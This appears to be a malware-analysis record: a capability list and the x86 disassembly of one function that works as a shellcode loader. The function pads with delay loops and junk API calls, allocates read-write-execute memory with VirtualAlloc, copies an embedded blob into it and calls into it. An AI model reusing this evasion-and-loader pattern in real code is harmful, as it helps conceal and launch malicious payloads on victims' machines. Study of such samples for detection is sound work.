Function at 0x403280
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get disk size
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x466ab8
push eax
mov dword fs:[0], esp
sub esp, 0xc34
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea esp, [esp]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push 0
call edi
cmp esi, 0xb7e4ee2
jg 0x4032cd
inc esi
cmp esi, 0x73f04bd
jl 0x4032b0
xor edi, edi
cmp dword [0x470bec], 0x400
jne 0x403379
push edi
lea eax, [ebp - 0x840]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push edi
push edi
push edi
lea ecx, [ebp - 0x10]
push ecx
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_BackupWrite]
xor edx, edx
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x2c], edi
mov word [ebp - 0x3c], dx
push edi
push edi
mov dword [ebp - 4], edi
call fcn.00403a64
push edi
call fcn.00403e28
add esp, 0xc
push edi
push edi
push edi
call fcn.004040f1
add esp, 0xc
push edi
call fcn.00403ff9
add esp, 4
push edi
call fcn.004041ed
push ecx
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
sub esp, 8
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.00403a50
fstp st(0)
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x28], 8
jb 0x403379
mov eax, dword [ebp - 0x3c]
push eax
call fcn.00403ce5
add esp, 4
cmp dword [0x470bec], 0x93
jne 0x4033ee
push edi
push edi
push edi
push edi
push edi
push edi
xor eax, eax
btr dword [eax], 0
push edi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push edi
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push edi
push edi
call fcn.00403bc9
call fcn.00403a47
push edi
call fcn.00403ba8
add esp, 0xc
push edi
call fcn.00403bbe
add esp, 4
push edi
push edi
call fcn.00403e07
add esp, 8
call fcn.00403270
push edi
call fcn.00404269
add esp, 4
mov eax, dword [0x470bec]
mov edx, dword [0x46bd34]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push edi
mov dword [0x471a28], edx
mov dword [0x470bec], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x47067c], eax
mov esi, 0x1692e
call ebx
sub esi, 1
jne 0x403422
cmp dword [0x470bec], edi
jbe 0x4034cb
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.GDI32.dll_DeleteMetaFile]
mov eax, dword [0x471a28]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x47067c]
mov byte [edx + esi], cl
cmp dword [0x470bec], 0x490
jne 0x4034bc
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
lea ecx, [ebp - 0xc40]
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
lea edx, [ebp - 0x440]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x38]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
inc esi
cmp esi, dword [0x470bec]
jb 0x403441
xor edi, edi
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor esi, esi
mov edx, dword [0x470bec]
add edx, esi
cmp edx, 0x8d
jne 0x403510
push 0
lea eax, [ebp - 0x440]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
call ebx
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x38681
jl 0x4034d9
call fcn.004031e0
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x403532
call ebx
cmp esi, 0x207142
jg 0x403543
inc esi
cmp esi, 0x67d12
jl 0x403528
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x403563
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x47067c], eax
inc esi
cmp esi, 0x674bd
jl 0x403545
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 0x10], 0x7b
jmp 0x403590
cmp dword [0x470bec], 0x86
jne 0x4035c5
push 0
call esi
push 0
lea ecx, [ebp - 0x440]
push ecx
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x470bec], 0xf
jne 0x4035f2
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
sub dword [ebp - 0x10], 1
jne 0x403590
call fcn.00402f60
call dword [0x47067c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret